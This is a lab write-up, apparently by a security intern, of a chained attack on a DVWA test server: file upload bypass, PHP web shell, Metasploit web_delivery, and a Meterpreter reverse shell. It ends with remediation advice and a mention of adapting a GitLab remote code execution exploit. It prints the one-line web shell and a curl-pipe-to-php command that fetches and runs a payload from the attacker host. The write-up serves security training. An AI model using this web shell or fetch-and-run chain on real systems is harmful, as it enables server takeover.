Chained Exploit on a Web Server

Objective

The objective of this lab was to demonstrate a chained exploitation attack, where multiple vulnerabilities are leveraged together to achieve full system compromise. The engagement focused on obtaining an initial foothold through a web application weakness and escalating it into remote code execution with an interactive Meterpreter shell.

Target Environment

- **Application:** Damn Vulnerable Web Application (DVWA)
- **Target IP:** 192.168.0.9
- **Attacker Machine:** Kali Linux
- **DVWA Security Level:** Low

Exploit Chain Overview

Exploit Chain:
File Upload Vulnerability → PHP Web Shell → Remote Code Execution → Meterpreter Session.

This chain demonstrates how poor file upload validation can directly lead to full system compromise.

Exploit Chain Log

Exploit ID	Description	Target IP	Status	Payload	Risk Rating
001	File Upload to RCE Chain	192.168.0.9	Success	php/meterpreter/reverse_tcp	Critical

Detailed Exploitation Steps

Step 1: Configure DVWA Security Level

Before exploitation, DVWA was configured to a vulnerable state.

Action:
Set DVWA security level to *Low* via the web interface.

Purpose:
This disables server-side validation checks, making the file upload module exploitable.

Step 2: Initial Foothold – File Upload Bypass

A malicious PHP web shell was created locally to exploit the vulnerable file upload functionality.

Command used (Kali Linux): nano shell.php

PHP Web Shell Code:
<?php system($_GET['cmd']); ?>

The file was then uploaded via: DVWA → Vulnerability → Upload

Result:
The file was successfully uploaded to:
/dvwa/hackable/uploads/shell.php

Step 3: Command Execution via Web Shell

The uploaded PHP shell was accessed directly through the browser, allowing arbitrary command execution.

Command Execution via URL:

http://192.168.0.9/dvwa/hackable/uploads/shell.php?cmd=id

Observed Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact:

Confirmed unauthenticated Remote Code Execution (RCE) as the web server user.

Step 4: Shell Upgrade Using Metasploit

To obtain a stable and interactive shell, Metasploit's **web_delivery** module was used.

Metasploit Commands:

- msfconsole
- use exploit/multi/script/web_delivery
- set TARGET PHP
- set PAYLOAD php/meterpreter/reverse_tcp
- set LHOST 192.168.0.5
- set URIPATH /
- run

Metasploit generated a payload delivery URL: http://192.168.0.5:8080/

Step 5: Payload Execution via Web Shell

The payload was executed through the existing PHP web shell using the curl command.

Command executed via browser:

http://192.168.0.9/dvwa/hackable/uploads/shell.php?cmd=curl http://192.168.0.5:8080/ | php

Result in Metasploit Console:

[*] Meterpreter session 1 opened

Impact Assessment

- Remote command execution on the web server
- Full interactive Meterpreter access
- Potential access to sensitive application and system files
- Capability to pivot further into the network

Overall Risk Rating: Critical

Remediation Recommendations

1. Enforce strict server-side file validation (content-based checks).
2. Rename uploaded files to non-executable extensions.
3. Disable execution permissions on upload directories.
4. Scan uploaded files for malicious payloads.
5. Apply secure coding practices for file handling features.

Conclusion

This lab successfully demonstrated a realistic exploit chain where a simple file upload vulnerability escalated into full remote code execution. The exercise reinforces the importance of secure file handling mechanisms and layered defense strategies in web applications. Even basic misconfigurations can result in critical security failures if left unaddressed.

Developer Escalation Email :

Subject: Critical File Upload Vulnerability Leading to Remote Code Execution

Hi Team,

During the recent security assessment, we identified a critical issue in the application's file upload functionality. By bypassing weak file validation checks, a malicious PHP file was uploaded and executed on the server. This initial access was then successfully chained into full remote code execution using a reverse shell payload. The root cause is the absence of strict server-side validation and executable permissions on the upload directory. We recommend enforcing strong file type checks, disabling script execution in upload paths, and sanitizing all user inputs to prevent this vulnerability from being exploited in a real-world environment.

Regards,
VAPT intern

Exploit-DB Proof-of-Concept Customization

To demonstrate advanced exploitation skills, a public proof-of-concept (PoC) from Exploit-DB was reviewed, adapted, and executed successfully in a controlled lab environment.

CVE Details

- **CVE ID:** CVE-2021-22205
- **Affected Software:** GitLab 13.10.2
- **Vulnerability Type:** Unauthenticated Remote Code Execution

Exploit Used

- **Exploit-DB PoC Reference:** ID 50911
- **Implementation Language:** Python

PoC Customization Summary

The Exploit-DB Python proof-of-concept for CVE-2021-22205 was customized by modifying the target URL, request headers, and payload execution logic to match the lab environment. These changes ensured successful unauthenticated remote code execution and validated the exploit against the configured GitLab instance.